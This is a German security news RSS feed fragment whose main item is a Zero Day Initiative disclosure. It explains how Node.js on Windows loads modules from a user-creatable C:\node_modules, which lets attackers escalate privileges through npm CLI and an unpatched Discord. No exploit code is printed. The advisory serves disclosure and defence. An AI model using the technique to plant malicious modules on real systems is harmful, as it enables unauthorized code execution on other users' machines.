<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3422399/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3422399/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Fri, 10 Apr 2026 06:31:00 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3422371/it-security-nachrichten/mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3422371/it-security-nachrichten/mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Fri, 10 Apr 2026 06:21:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in nodejs (Red Hat)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3419145/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3419145/unix-server/security-mehrere-probleme-in-nodejs-red-hat/</guid>
<pubDate>Thu, 09 Apr 2026 06:31:15 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3418044/it-security-nachrichten/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3418044/it-security-nachrichten/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Wed, 08 Apr 2026 18:23:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png" data-image-dimensions="866x438" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w" width="866" height="438" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  





  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png" data-image-dimensions="926x517" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w" width="926" height="517" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/13612d7b-3bf5-4b03-9971-e2bf396590e1/npm-inflight-require.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png" data-image-dimensions="1007x497" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w" width="1007" height="497" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/055eed5f-eb9e-46d7-be00-3a7c3a11631d/npm-procmon-logs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png" data-image-dimensions="1662x798" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w" width="1662" height="798" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9dbb1a2-f4fc-4ef1-b1e1-3d69e0c4baa0/Screenshot+2026-04-08+at+10.59.22%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png" data-image-dimensions="1074x528" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w" width="1074" height="528" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2c563913-8390-46a3-aa48-5dcc755c7d4a/Capture.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption class="image-caption-wrapper">
            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>




  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ClickFix Attack Uses Node.js Malware via Tor to Steal Crypto]]></title>
<description><![CDATA[Netskope Threat Labs report a new ClickFix attack using fake CAPTCHAs to deploy Tor-backed NodeJS malware and drain crypto wallets on Windows. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original…
Read more →
The post New ClickFix Attack U...]]></description>
<link>https://tsecurity.de/de/3416771/it-security-nachrichten/new-clickfix-attack-uses-nodejs-malware-via-tor-to-steal-crypto/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3416771/it-security-nachrichten/new-clickfix-attack-uses-nodejs-malware-via-tor-to-steal-crypto/</guid>
<pubDate>Wed, 08 Apr 2026 11:51:36 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Netskope Threat Labs report a new ClickFix attack using fake CAPTCHAs to deploy Tor-backed NodeJS malware and drain crypto wallets on Windows. This article has been indexed from Hackread – Cybersecurity News, Data Breaches, AI and More Read the original…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/new-clickfix-attack-uses-node-js-malware-via-tor-to-steal-crypto/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/new-clickfix-attack-uses-node-js-malware-via-tor-to-steal-crypto/">New ClickFix Attack Uses Node.js Malware via Tor to Steal Crypto</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New ClickFix Attack Uses Node.js Malware via Tor to Steal Crypto]]></title>
<description><![CDATA[Netskope Threat Labs report a new ClickFix attack using fake CAPTCHAs to deploy Tor-backed NodeJS malware and drain crypto wallets on Windows.]]></description>
<link>https://tsecurity.de/de/3416667/it-security-nachrichten/new-clickfix-attack-uses-nodejs-malware-via-tor-to-steal-crypto/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3416667/it-security-nachrichten/new-clickfix-attack-uses-nodejs-malware-via-tor-to-steal-crypto/</guid>
<pubDate>Wed, 08 Apr 2026 11:21:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Netskope Threat Labs report a new ClickFix attack using fake CAPTCHAs to deploy Tor-backed NodeJS malware and drain crypto wallets on Windows.]]></content:encoded>
</item>
<item>
<title><![CDATA[Legálitas lleva la inteligencia artificial al corazón del servicio jurídico ]]></title>
<description><![CDATA[El sector jurídico se encuentra inmerso en un proceso de transformación digital que va más allá de la simple evolución de herramientas o de la digitalización de procesos internos. Se trata de un cambio profundo en la forma de ejercer el Derecho, impulsado por tecnologías como la inteligencia arti...]]></description>
<link>https://tsecurity.de/de/3413448/it-nachrichten/leglitaslleva-la-inteligencia-artificial-al-corazn-del-servicio-jurdico/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3413448/it-nachrichten/leglitaslleva-la-inteligencia-artificial-al-corazn-del-servicio-jurdico/</guid>
<pubDate>Tue, 07 Apr 2026 11:46:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



